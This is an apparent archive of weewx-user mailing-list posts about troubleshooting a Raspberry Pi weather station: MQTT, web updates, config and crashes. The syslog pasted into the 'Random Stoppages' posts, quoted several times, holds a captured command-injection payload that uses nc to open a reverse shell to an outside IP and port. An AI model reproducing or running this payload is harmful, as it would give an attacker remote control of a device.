Re: [weewx-user] Force auto-update of web page?

[K Weaver]

I have been using ftp every 6 mins


On Thu, Oct 24, 2019, 12:47 PM Timothy Buchanan 
wrote:

> Now having a working weewx website (thanks to much help here), I am
> wondering if there is an easy way to force the loaded web page to update
> whenever weewx runs a report. I am using nginx server.
>
> --
> You received this message because you are subscribed to the Google Groups
> "weewx-user" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to weewx-user+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/weewx-user/a3870dbd-1de8-4573-b186-edc58b0986f7%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/CAJ3%3D2yXbwTBjF-mvQ3W9h92KQUx3ccuMLY%2BGnMr-emuw_SQHUw%40mail.gmail.com.

Re: [weewx-user] Re: Weewx stops working on Raspberry Pi

[K Weaver]

Where do you put this script?


On Monday, February 10, 2014 at 10:21:11 AM UTC-5, Per Edström wrote:
>
> I "solved" the problem with Weewx on R.Pi stopping by restarting it every 
> hour. One minute delay so that ongoing activity (FTP etc) is finished 
> before starting again (else start will fail quietly):
>
> 0 */1 * * * /etc/init.d/weewx stop
> 1 */1 * * * /etc/init.d/weewx start
>
> Now it works well! :-)
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/d4b3cad4-0730-4b94-8d2c-b56c34a35f35%40googlegroups.com.

Re: [weewx-user] Re: Random Stoppages

[K Weaver]

l correct it (in seconds)
max_drift = 6

##

#   This section is for configuring the archive service.

[StdArchive]

# If the station hardware supports data logging then the archive
interval
# will be downloaded from the station. Otherwise, specify it (in
seconds).
archive_interval = 300

# If possible, new archive records are downloaded from the station
# hardware. If the hardware does not support this, then new archive
# records will be generated in software.
# Set the following to "software" to force software record generation.
record_generation = hardware

# Whether to include LOOP data in hi/low statistics
loop_hilo = true

# The data binding used to save archive records
data_binding = wx_binding

##

#   This section binds a data store to a database.

[DataBindings]

[[wx_binding]]
# The database must match one of the sections in [Databases].
# This is likely to be the only option you would want to change.
database = archive_sqlite
# The name of the table within the database
table_name = archive
# The manager handles aggregation of data for historical summaries
manager = weewx.wxmanager.WXDaySummaryManager
# The schema defines the structure of the database.
# It is *only* used when the database is created.
schema = user.extensions.schema_extended

##

#   This section defines various databases.

[Databases]

# A SQLite database is simply a single file
[[archive_sqlite]]
database_name = weewx.sdb
database_type = SQLite

# MySQL
[[archive_mysql]]
database_name = weewx
database_type = MySQL

##

#   This section defines defaults for the different types of databases.

[DatabaseTypes]

# Defaults for SQLite databases
[[SQLite]]
driver = weedb.sqlite
# Directory in which the database files are located
SQLITE_ROOT = /var/lib/weewx

# Defaults for MySQL databases
[[MySQL]]
driver = weedb.mysql
# The host where the database is located
host = localhost
# The user name for logging in to the host
user = ""
# The password for the user name (quotes guard against parsing
errors)
password = weewx

##

#   This section configures the internal weewx engine.

[Engine]

[[Services]]
# This section specifies the services that should be run. They are
# grouped by type, and the order of services within each group
# determines the order in which the services will be run.
prep_services = weewx.engine.StdTimeSynch
data_services = ,
process_services = weewx.engine.StdConvert,
weewx.engine.StdCalibrate, weewx.engine.StdQC,
weewx.wxservices.StdWXCalculate
archive_services = weewx.engine.StdArchive
restful_services = weewx.restx.StdStationRegistry,
weewx.restx.StdWunderground, weewx.restx.StdPWSweather,
weewx.restx.StdCWOP, weewx.restx.StdWOW, weewx.restx.StdAWEKAS,
user.mqtt.MQTT, user.wcloud.WeatherCloud
report_services = weewx.engine.StdPrint, weewx.engine.StdReport


On Tue, Oct 15, 2019 at 9:50 AM K Weaver  wrote:

> Thanks all. I will post my weewx config later.
>
> It's set up in listen mode on port 80
>
>
> I tried other ports before , but they never worked.
>
>
> On Tue, Oct 15, 2019, 8:47 AM Andy  wrote:
>
>>
>> systemType="NVMS-9000" Are you intercepting your IP NVR traffic?
>>
>> Andy
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "weewx-user" group.
>> To unsubscribe from this group and stop receiving emails from it, send an
>> email to weewx-user+unsubscr...@googlegroups.com.
>> To view this discussion on the web visit
>> https://groups.google.com/d/msgid/weewx-user/96662d53-1f1d-4864-a9ae-74b22b839889%40googlegroups.com
>> <https://groups.google.com/d/msgid/weewx-user/96662d53-1f1d-4864-a9ae-74b22b839889%40googlegroups.com?utm_medium=email_source=footer>
>> .
>>
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/CAJ3%3D2yXKn_Ow%2BAL9ee22xpb_VeVCPot_v%2BZpEGKYo_xsWJ2Gtg%40mail.gmail.com.

Re: [weewx-user] Re: Random Stoppages

[K Weaver]

Thanks all. I will post my weewx config later.

It's set up in listen mode on port 80


I tried other ports before , but they never worked.


On Tue, Oct 15, 2019, 8:47 AM Andy  wrote:

>
> systemType="NVMS-9000" Are you intercepting your IP NVR traffic?
>
> Andy
>
> --
> You received this message because you are subscribed to the Google Groups
> "weewx-user" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to weewx-user+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/weewx-user/96662d53-1f1d-4864-a9ae-74b22b839889%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"weewx-user" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to weewx-user+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/weewx-user/CAJ3%3D2yXNAARk5OX0ABkS-h8%3D0A8Yb3T_3aAbnNkAA6X2DDc4UQ%40mail.gmail.com.

[weewx-user] Re: Random Stoppages

[K Weaver]

I am running the most recent version of Weewx with The Belchertown skin.  I 
have an acurite 5 N 1 with a smart hub..

http://mosscreekweather.org/weewx



On Monday, October 14, 2019 at 9:57:33 PM UTC-4, K Weaver wrote:
>
> I can run for days  and all of a sudden it will randomly stop.   What does 
> this syslog indicate?
>
>
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: ServerThread: POST: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: raw data: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Main loop exiting. 
> Shutting engine down.
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Shutting down StdReport 
> thread
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: StdReport thread has been 
> terminated
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down WeatherCloud 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down MQTT thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down AWEKAS thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down CWOP thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down PWSWeather thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down Wunderground-PWS 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down StationRegistry 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: shutting 
> down server thread
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: stop tcp 
> server
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Caught unrecoverable 
> exception in engine:
> Oct 14 21:44:29 raspberrypi weewx[662]:   too many values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Traceback (most recent 
> call last):
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 894, in main
> Oct 14 21:44:29 raspberrypi weewx[662]:   engine.run()
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 188, in run
> Oct 14 21:44:29 raspberrypi weewx[662]:   for packet in 
> self.console.genLoopPackets():
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 2230, in genLoopPackets
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self._device.parser.parse(data)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 898, in parse
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self.parse_chaney(s)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 955, in parse_chaney
> Oct 14 21:44:29 raspberrypi weewx[662]:   (n, v) = x.split('=')
> Oct 14 21:44:29 raspberrypi weewx[662]:   ValueError: too many 
> values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Exiting.
> Oct 14 21:45:01 raspberrypi CRON[7233]: (root) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:01 raspberrypi CRON[7234]: (pi) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:c

[weewx-user] Re: Random Stoppages

[K Weaver]

I am running the most recent version of Weewx with The Belchertown skin.  I 
have an acurite 5 N 1 with a smart hub..

On Monday, October 14, 2019 at 9:57:33 PM UTC-4, K Weaver wrote:
>
> I can run for days  and all of a sudden it will randomly stop.   What does 
> this syslog indicate?
>
>
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: ServerThread: POST: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: raw data: 
>  systemType="NVMS-9000" 
> clientType="WEB">refuseallowipiprangemactrue  
> type="filterTypeMode">refuse type="list"> type="addressType"/>trueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Main loop exiting. 
> Shutting engine down.
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Shutting down StdReport 
> thread
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: StdReport thread has been 
> terminated
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down WeatherCloud 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down MQTT thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down AWEKAS thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down CWOP thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down PWSWeather thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down Wunderground-PWS 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down StationRegistry 
> thread.
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: shutting 
> down server thread
> Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: stop tcp 
> server
> Oct 14 21:44:29 raspberrypi weewx[662]: engine: Caught unrecoverable 
> exception in engine:
> Oct 14 21:44:29 raspberrypi weewx[662]:   too many values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Traceback (most recent 
> call last):
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 894, in main
> Oct 14 21:44:29 raspberrypi weewx[662]:   engine.run()
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/weewx/engine.py", line 188, in run
> Oct 14 21:44:29 raspberrypi weewx[662]:   for packet in 
> self.console.genLoopPackets():
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 2230, in genLoopPackets
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self._device.parser.parse(data)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 898, in parse
> Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
> self.parse_chaney(s)
> Oct 14 21:44:29 raspberrypi weewx[662]: File 
> "/usr/share/weewx/user/interceptor.py", line 955, in parse_chaney
> Oct 14 21:44:29 raspberrypi weewx[662]:   (n, v) = x.split('=')
> Oct 14 21:44:29 raspberrypi weewx[662]:   ValueError: too many 
> values to unpack
> Oct 14 21:44:29 raspberrypi weewx[662]:   Exiting.
> Oct 14 21:45:01 raspberrypi CRON[7233]: (root) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:01 raspberrypi CRON[7234]: (pi) CMD (~/duckdns/duck.sh 
> >/dev/null 2>&1)
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
> 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
> 192.168.6.100 24:c8:6e:09:36:cb
> Oct 14 21:48:21 raspberrypi dnsma

[weewx-user] Random Stoppages

[K Weaver]

I can run for days  and all of a sudden it will randomly stop.   What does 
this syslog indicate?


Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: ServerThread: POST: 
refuseallowipiprangemactruerefusetrueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: raw data: 
refuseallowipiprangemactruerefusetrueip$(nc${IFS}209.141.34.34${IFS}31337${IFS}-e${IFS}$SHELL&)
Oct 14 21:44:29 raspberrypi weewx[662]: engine: Main loop exiting. Shutting 
engine down.
Oct 14 21:44:29 raspberrypi weewx[662]: engine: Shutting down StdReport 
thread
Oct 14 21:44:29 raspberrypi weewx[662]: engine: StdReport thread has been 
terminated
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down WeatherCloud 
thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down MQTT thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down AWEKAS thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down CWOP thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down PWSWeather thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down Wunderground-PWS 
thread.
Oct 14 21:44:29 raspberrypi weewx[662]: restx: Shut down StationRegistry 
thread.
Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: shutting 
down server thread
Oct 14 21:44:29 raspberrypi weewx[662]: interceptor: MainThread: stop tcp 
server
Oct 14 21:44:29 raspberrypi weewx[662]: engine: Caught unrecoverable 
exception in engine:
Oct 14 21:44:29 raspberrypi weewx[662]:   too many values to unpack
Oct 14 21:44:29 raspberrypi weewx[662]:   Traceback (most recent 
call last):
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/weewx/engine.py", line 894, in main
Oct 14 21:44:29 raspberrypi weewx[662]:   engine.run()
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/weewx/engine.py", line 188, in run
Oct 14 21:44:29 raspberrypi weewx[662]:   for packet in 
self.console.genLoopPackets():
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/user/interceptor.py", line 2230, in genLoopPackets
Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
self._device.parser.parse(data)
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/user/interceptor.py", line 898, in parse
Oct 14 21:44:29 raspberrypi weewx[662]:   pkt = 
self.parse_chaney(s)
Oct 14 21:44:29 raspberrypi weewx[662]: File 
"/usr/share/weewx/user/interceptor.py", line 955, in parse_chaney
Oct 14 21:44:29 raspberrypi weewx[662]:   (n, v) = x.split('=')
Oct 14 21:44:29 raspberrypi weewx[662]:   ValueError: too many 
values to unpack
Oct 14 21:44:29 raspberrypi weewx[662]:   Exiting.
Oct 14 21:45:01 raspberrypi CRON[7233]: (root) CMD (~/duckdns/duck.sh 
>/dev/null 2>&1)
Oct 14 21:45:01 raspberrypi CRON[7234]: (pi) CMD (~/duckdns/duck.sh 
>/dev/null 2>&1)
Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:45:19 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
24:c8:6e:09:36:cb
Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:46:50 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
24:c8:6e:09:36:cb
Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:48:21 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
24:c8:6e:09:36:cb
Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:49:53 raspberrypi dnsmasq-dhcp[569]: DHCPACK(eth0) 192.168.6.100 
24:c8:6e:09:36:cb
Oct 14 21:50:01 raspberrypi CRON[7293]: (pi) CMD (~/duckdns/duck.sh 
>/dev/null 2>&1)
Oct 14 21:50:01 raspberrypi CRON[7294]: (root) CMD (~/duckdns/duck.sh 
>/dev/null 2>&1)
Oct 14 21:51:24 raspberrypi dnsmasq-dhcp[569]: DHCPDISCOVER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:51:24 raspberrypi dnsmasq-dhcp[569]: DHCPOFFER(eth0) 
192.168.6.100 24:c8:6e:09:36:cb
Oct 14 21:51:24 raspberrypi dnsmasq-dhcp[569]: DHCPREQUEST(eth0) 
192.168.6.100 

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

Pat. You must have gave up on me...lol

On Sat, Oct 5, 2019, 1:42 AM K Weaver  wrote:

> It appears the two separate readings are coming from weewx a interceptor
> and my mqtt.
>
> The Mqtt appears to be the most correct. I don't know how to stop
> interceptor without losing connection to my smart hub.
>
>
> On Thu, Oct 3, 2019, 10:05 PM K Weaver  wrote:
>
>> Are you able to connect now?
>>
>> On Thu, Oct 3, 2019, 9:50 PM Pat  wrote:
>>
>>> No, not for mqtt websockets. That's connected to your mosquitto
>>> installation and not a webserver like nginx or apache.
>>>
>>> Check your mosquitto logs to see what's happening
>>>
>>> On Thursday, October 3, 2019 at 9:45:02 PM UTC-4, K Weaver wrote:
>>>>
>>>> Does it matter if I'm using Apache or nginx?
>>>>
>>>>
>>>> On Thu, Oct 3, 2019, 2:54 PM K Weaver  wrote:
>>>>
>>>>> I used cloud but couldn't get the client to connect
>>>>>
>>>>> I can't figure out why it shuts down like that around 9 every morning.
>>>>>
>>>>> It seems like the sub for the client is connecting separately to the
>>>>> raw data and the real time.
>>>>>
>>>>> On Thu, Oct 3, 2019, 1:25 PM Pat  wrote:
>>>>>
>>>>>> Have you considered trying a free public broker to resolve some of
>>>>>> the other issues outlined in this post for the interim? Then once those 
>>>>>> are
>>>>>> fixed you can focus on making your broker stable?
>>>>>>
>>>>>>
>>>>>>
>>>>>> On Thursday, October 3, 2019 at 11:40:38 AM UTC-4, K Weaver wrote:
>>>>>>>
>>>>>>> And checking from work its back down again...
>>>>>>>
>>>>>>> On Wed, Oct 2, 2019, 10:40 PM K Weaver  wrote:
>>>>>>>
>>>>>>>> 10:39 pm Its up. I'm not gonna try to make any edits if anyone
>>>>>>>> wants to check it out.
>>>>>>>> Sorry about that
>>>>>>>>
>>>>>>>>
>>>>>>>> On Wed, Oct 2, 2019, 7:51 PM Pat  wrote:
>>>>>>>>
>>>>>>>>> I still think you have something else going on. You posted 18
>>>>>>>>> minutes ago, and I cannot reach it.
>>>>>>>>>
>>>>>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>>>>>> failed: Unknown reason
>>>>>>>>>
>>>>>>>>>
>>>>>>>>>
>>>>>>>>> On Wednesday, October 2, 2019 at 7:32:39 PM UTC-4, K Weaver wrote:
>>>>>>>>>>
>>>>>>>>>> It's accessable online now if anyone is available to check it out.
>>>>>>>>>>
>>>>>>>>>> On Wed, Oct 2, 2019, 2:12 PM K Weaver  wrote:
>>>>>>>>>>
>>>>>>>>>>> for some reason it disconnects every morning around 9 am
>>>>>>>>>>>
>>>>>>>>>>> On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:
>>>>>>>>>>>
>>>>>>>>>>>> I'm able to pull it up on my phone without WiFi .
>>>>>>>>>>>>
>>>>>>>>>>>> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>>>>>>>>>>>>
>>>>>>>>>>>>> Looks like it's down again - or it's not working externally
>>>>>>>>>>>>> still
>>>>>>>>>>>>>
>>>>>>>>>>>>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver
>>>>>>>>>>>>> wrote:
>>>>>>>>>>>>>>
>>>>>>>>>>>>>> I'm home from work now and reset it.
>>>>>>>>>>>>>> I'm not sure why it shut down...
>>>>>>>>>>>>>>
>>>>>>>>>>>>>> On Tue, Oct 1, 2019, 3:29 PM Pat 
>>>>>>>>>>>>>> wrote:
>>>>>>>>>>>>>>
>>>>>>>>>>>>>>> Looks like it's down

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

It appears the two separate readings are coming from weewx a interceptor
and my mqtt.

The Mqtt appears to be the most correct. I don't know how to stop
interceptor without losing connection to my smart hub.


On Thu, Oct 3, 2019, 10:05 PM K Weaver  wrote:

> Are you able to connect now?
>
> On Thu, Oct 3, 2019, 9:50 PM Pat  wrote:
>
>> No, not for mqtt websockets. That's connected to your mosquitto
>> installation and not a webserver like nginx or apache.
>>
>> Check your mosquitto logs to see what's happening
>>
>> On Thursday, October 3, 2019 at 9:45:02 PM UTC-4, K Weaver wrote:
>>>
>>> Does it matter if I'm using Apache or nginx?
>>>
>>>
>>> On Thu, Oct 3, 2019, 2:54 PM K Weaver  wrote:
>>>
>>>> I used cloud but couldn't get the client to connect
>>>>
>>>> I can't figure out why it shuts down like that around 9 every morning.
>>>>
>>>> It seems like the sub for the client is connecting separately to the
>>>> raw data and the real time.
>>>>
>>>> On Thu, Oct 3, 2019, 1:25 PM Pat  wrote:
>>>>
>>>>> Have you considered trying a free public broker to resolve some of the
>>>>> other issues outlined in this post for the interim? Then once those are
>>>>> fixed you can focus on making your broker stable?
>>>>>
>>>>>
>>>>>
>>>>> On Thursday, October 3, 2019 at 11:40:38 AM UTC-4, K Weaver wrote:
>>>>>>
>>>>>> And checking from work its back down again...
>>>>>>
>>>>>> On Wed, Oct 2, 2019, 10:40 PM K Weaver  wrote:
>>>>>>
>>>>>>> 10:39 pm Its up. I'm not gonna try to make any edits if anyone wants
>>>>>>> to check it out.
>>>>>>> Sorry about that
>>>>>>>
>>>>>>>
>>>>>>> On Wed, Oct 2, 2019, 7:51 PM Pat  wrote:
>>>>>>>
>>>>>>>> I still think you have something else going on. You posted 18
>>>>>>>> minutes ago, and I cannot reach it.
>>>>>>>>
>>>>>>>> WebSocket connection to 'ws://mosscrkmqtt.duckdns.org:9001/mqtt'
>>>>>>>> failed: Unknown reason
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>> On Wednesday, October 2, 2019 at 7:32:39 PM UTC-4, K Weaver wrote:
>>>>>>>>>
>>>>>>>>> It's accessable online now if anyone is available to check it out.
>>>>>>>>>
>>>>>>>>> On Wed, Oct 2, 2019, 2:12 PM K Weaver  wrote:
>>>>>>>>>
>>>>>>>>>> for some reason it disconnects every morning around 9 am
>>>>>>>>>>
>>>>>>>>>> On Tue, Oct 1, 2019, 10:18 PM K Weaver  wrote:
>>>>>>>>>>
>>>>>>>>>>> I'm able to pull it up on my phone without WiFi .
>>>>>>>>>>>
>>>>>>>>>>> On Tue, Oct 1, 2019, 8:07 PM Pat  wrote:
>>>>>>>>>>>
>>>>>>>>>>>> Looks like it's down again - or it's not working externally
>>>>>>>>>>>> still
>>>>>>>>>>>>
>>>>>>>>>>>> On Tuesday, October 1, 2019 at 6:39:02 PM UTC-4, K Weaver wrote:
>>>>>>>>>>>>>
>>>>>>>>>>>>> I'm home from work now and reset it.
>>>>>>>>>>>>> I'm not sure why it shut down...
>>>>>>>>>>>>>
>>>>>>>>>>>>> On Tue, Oct 1, 2019, 3:29 PM Pat  wrote:
>>>>>>>>>>>>>
>>>>>>>>>>>>>> Looks like it's down again or you have a firewall issue
>>>>>>>>>>>>>> again.
>>>>>>>>>>>>>>
>>>>>>>>>>>>>> WebSocket connection to 'ws://
>>>>>>>>>>>>>> mosscrkmqtt.duckdns.org:9001/mqtt' failed: Unknown reason
>>>>>>>>>>>>>>
>>>>>>>>>>>>>>
>>>>>>>>>>>>>> On Monday, September 30, 2019 at 10:26:05 PM UTC

Re: [weewx-user] Re: Mqtt live data

[K Weaver]

Are you able to connect now?

On Thu, Oct 3, 2019, 9:50 PM Pat  wrote:

> No, not for mqtt websockets. That's connected to your mosquitto
> installation and not a webserver like nginx or apache.
>
